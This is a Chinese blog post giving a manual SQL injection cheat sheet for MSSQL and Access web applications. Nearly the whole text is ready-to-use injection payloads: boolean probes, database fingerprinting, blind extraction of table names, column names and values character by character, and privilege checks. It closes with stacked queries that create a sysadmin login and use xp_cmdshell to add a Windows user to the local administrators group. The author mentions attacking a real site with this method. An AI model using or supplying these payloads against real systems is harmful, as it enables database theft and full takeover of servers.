標籤:資料庫系統 access 成就感 count 手工
1.判斷是否有注入
and 1=1
and 1=2
判斷注入的方法是一樣的
2.初步判斷是否是mssql
and user>0
3.判斷資料庫系統
and (select count(*) from sysobjects)>0 mssql
and (select count(*) from msysobjects)>0 access
4.注入參數是字元
‘and [查詢條件] and ‘‘=‘
5.搜尋時沒過濾參數的
‘and [查詢條件] and ‘%25‘=‘
6.猜數表名
and (select Count(*) from [表名])>0
這個比較蛋疼,總共有3oo多個資料庫我手工沒有猜出來,有神器sqlmap跑的都顯示不完,剛才返回錯誤,如果填上正確的表名就行了,下面是猜欄位,其實和access資料庫差不懂,學這個就得會舉一反三,這是一些步驟和語句,我給大家自己看吧,主要是這個站比較蛋疼,對了工具的使用會在以後的教程中介紹,學這個要先學會原理,只知道用工具注入也沒有什麼意思,要學會原理,有自己的思路,然後自己寫工具才有成就感
7.猜欄位
and (select Count(欄位名) from 表名)>0
8.猜欄位中記錄長度
and (select top 1 len(欄位名) from 表名)>0
9.(1)猜欄位的ascii值(access)
and (select top 1 asc(mid(欄位名,1,1)) from 表名)>0
(2)猜欄位的ascii值(mssql)
and (select top 1 unicode(substring(欄位名,1,1)) from 表名)>0
10.測試許可權結構(mssql)
and 1=(select IS_SRVROLEMEMBER(‘sysadmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘serveradmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘setupadmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘securityadmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘diskadmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘bulkadmin‘));--
and 1=(select IS_MEMBER(‘db_owner‘));--
11.添加mssql和系統的帳戶
exec master.dbo.sp_addlogin username;--
exec master.dbo.sp_password null,username,password;--
exec master.dbo.sp_addsrvrolemember sysadmin username;--
exec master.dbo.xp_cmdshell ‘net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add‘;--
exec master.dbo.xp_cmdshell ‘net user username password /add‘;--
exec master.dbo.xp_cmdshell ‘net localgroup administrators username /add‘;--
本文出自 “redBull” 部落格,轉載請與作者聯絡!
Sql Server 手工注入講解